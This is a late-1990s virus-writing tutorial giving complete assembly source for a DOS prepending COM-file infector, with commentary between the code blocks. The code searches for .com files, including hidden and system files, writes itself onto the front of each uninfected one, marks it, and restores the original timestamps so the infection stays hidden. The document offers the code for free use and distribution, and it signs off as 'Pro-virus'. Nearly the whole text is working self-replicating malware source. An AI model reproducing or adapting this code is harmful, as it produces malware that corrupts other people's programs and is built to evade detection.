Vircom 1 ~ Prepending Com Infectors
[note 1]
This material is not to be used as a tool of destruction. I assembled this information
as an educational resource and I would like to see it used that way.
[note 2]
In this tutorial I will cover the specifics of com infection. This is by no
means a tutorial on assembler. Some working knowledge of assembly language will
be required to fully understand this material.
[note 3]
This file is assembled with these switches.
TASM /M VIRCOM
TLINK /T VIRCOM
[note 4]
Written for Turbo Assembler, 80286 or better
[note 5]
Author assumes no responsibility for damage you may... [blahblahblah]
.model tiny ;crap for the assembler .codeorg 100h ;all com files load at cs:0100hsize equ offset eov - offset begin ;calculate virus sizebegin: call entry ;jump past marker byte db 'F' ;marker entry: push cs ;store cs pop ax ;ax = cs add ax, 1000h ;add 1000h to cs push ax ;and put it pop es ;in es mov cx, size ;number of bytes to copy lea si, [begin] ;point si to beginning of virus lea di, [begin] ;and destination at same offset repnz movsb ;move the bytesThe next piece of code simply creates a far jump to the code we just moved into higher memory.push es pop word ptr[jmpseg] ;save segment value for jump lea cx, [virus] ;cx = offset to continue from mov word ptr[jmpoff],cx ;save offset for jump push cs cs ;save code segmentThis is the far jump we will use to jump between code segments. 0EAh is the far jump opcode and the four bytes following are the segment and offset of destination. The address will be written in as needed. (like above)jump: db 0eah ;opcode for a far jump jmpoff dw 0000h ;offset of jump jmpseg dw 0000h ;segment of jumpNow that we have gotten this far, we have moved ahead in memory, and stored the original code segment on the stack twice. The next thing to do is restore our host. This can done almost exactly the same as moving the virus, except that this time we will point es and ds both to the original code segment, and set si to the beginning of the host (at end of the virus), and di to the initial entry point at cs:0100h. virus: pop es ds ;original cs into es and ds lea si, [eov] ;si = host mov di, 0100h ;di = entry point mov cx, 0ffffh ;number of bytes to move sub cx, size repnz movsb ;move those bytesThe rest of what we are going to do for a while is only going to involve the current segment, so we set DS and ES to the current code segment value.push cs cs pop ds esNow we will set a new DTA so that we will not destroy the data in our host's dta.mov ah, 1ah ;DOS command to set dta lea dx, [dta] ;ds:dx = seg:off of new dta int 21h ;call DOSBefore we can infect a file, we have to find one. This is done using int 21h ah = 4eh, and 4fh. To find the first we use 4eh, next is 4fh. The file to look for must be an asciz value slored at a location pointed to by ds:dx. CX must contain the attributes the file may have. 00 = normal file, we will use 07h, it finds hidden/system/read only. And for a filename to look for, we will use wilcard *.com to find any com file.mov ah, 4eh ;DOS command to find first file mov cx, 07h ;attribs to look for lea dx, [fmask] ;ds:dx = file name to find int 21h ;call DOS jc done ;if no file is found, we send ;control on to the host fileThe file handle we just found was stored in the dta at offset 01eh from the start of the dta so we must load dx with [dta+01eh], and load ax with 3d02h to open it with read/write access.open: mov ax, 3d02h ;3d is value for DOS function ;"open", and 02h is for R/W lea dx, [dta+01eh] ;file handle is here int 21h ;call DOSFrom this function DOS returns the file handle in AX. Next step is to read the host file into our buffer to see if it is already infected or if it is over 64k (in which case we cant infect it). We need the handle in BX, so first we exchange the values of ax and bx.xchg bx, axBefore we change anything, we are gonna get and save the file's original time/date stamp so we can restore it.mov ax, 5700h ;DOS command to get file's ;time/date int 21h ;call DOS mov word ptr [time],cx ;save time stamp mov word ptr [time+2],dx ;save date stampThe file handle is stored at BX, so we point ds:dx to the buffer where we wanna read to, load cx with the number of bytes you wanna read. The file size is stored in the DTA at offset 1ah from start of DTA. We load that value into CX, and 3fh into ah for "read"mov ah, 3fh ;DOS command to read from file push word ptr [dta+1ah] ;file size is here pop cx ;move it here push cx ;and store it lea dx, [eov] ;ds:dx = read buffer int 21h ;call DOSIf the file is already infected, it will have an 'F' in the third byte. If it is larger than 64k, the first two bytes will be 'MZ'. Either way, we will abandon the file, and go find the next, if one of these markers is present.cmp word ptr [eov], 'ZM' ;is it an EXE in disguise? je next ;if so, find the next file cmp byte ptr [eov+3],'F';already infected? je next ;if so, find the next fileIf we are still here, then the file seems to qualify, so now we restore the file pointer to the beginning of the file and write the virus + file combination to disk.mov ax, 4200h ;DOS command to seek the ;start of file xor dx, dx ;zero bytes from beginning xor cx, cx int 21h ;DOS mov ah, 40h ;DOS command to write to file pop cx ;cx = file size add cx, size ;add the virus size to the ;number of bytes to write. lea dx, [begin] ;ds:dx = beginning of data to ;write int 21h ;call DOSNow, before we close this file, we need to restore the time/date. stamp. A bunch of com files all dated in the last week are will surely reveal the virus, AND which files are infected. We saved this info near the end of the virus.mov cx, word ptr [time] ;get the original time mov dx, word ptr [time+2];get the original date mov ax, 5701 ;DOS command to set file time int 21h ;call DOSclose the file...mov ah, 3eh ;DOS command to close file int 21h ;call DOSThe infection process is done. Now we clear out the registers, reset the dta, and return control to the host program.done: mov ax, 0100h ;ax = 0100h push ax ; pop word ptr cs:[jmpoff] ;save 100h as offset for jump push cs ;save code segment pop ax ;ax = cs sub ax, 1000h ;adjust ax to orig cs value push ax ax ;save it twice pop es ds ;ax = es = ds mov ah, 1ah ;DOS command to set dta mov dx, 80h ;ds:dx = orig cs:0080h int 21h ;DOS xor dx, dx ;dx = 00 push dx dx ;save it twice pop cx bx ;cx = dx = bx push ds ;save ds pop word ptr cs:[jmpseg] ;as segment for jump jmp dword ptr cs:[jmpoff] ;jump to hostThis is the routine that will find another com file, if the first one found is not a good candidate for infection. Same as the find first routine, except that here ah = 4ehnext: mov ah, 4fh ;DOS command to find next file mov cx, 07h ;these attributes lea dx, [fmask] ;this file int 21h ;call DOS jc done ;didnt find any? then quit jmp open ;go to open itfmask db '*.com',00h ;files to look for dta db 2ch dup (?) ;disk transfer address time dd ? ;stored file time/dateeov: ;This is where the host startsint 20h ;These two bytes get dropped ;and replaced by the host ;program end begin
In Retrospect
This virus is seriously lacking in the "accessories" department. I
was merely showing a possible technique for appending to the beginning of files.
I think alot can be done with it, like infecting exe's (next article), and memory
resident, encryption...
This will be the first in a series of articles to be written based on this virus,
and if you want to get the latest, email me, and I will send you updates as
they are released. Actually, taking a second look back over the code, it seems
that exe infection will be rather a minimal operation, so The next Issue will
cover Encypted EXE prependers.
Remember, information is mean to be free, but not ripped. You are FREE to use
and distribute this code, and any accompanying files, just leave credit be where
credit belongs, and most of all...
~FEAR WHAT YOU HAVE CREATED~
email me at compkiller@hotmail.com
Pro-virus '99 [have you hugged yer virus today?]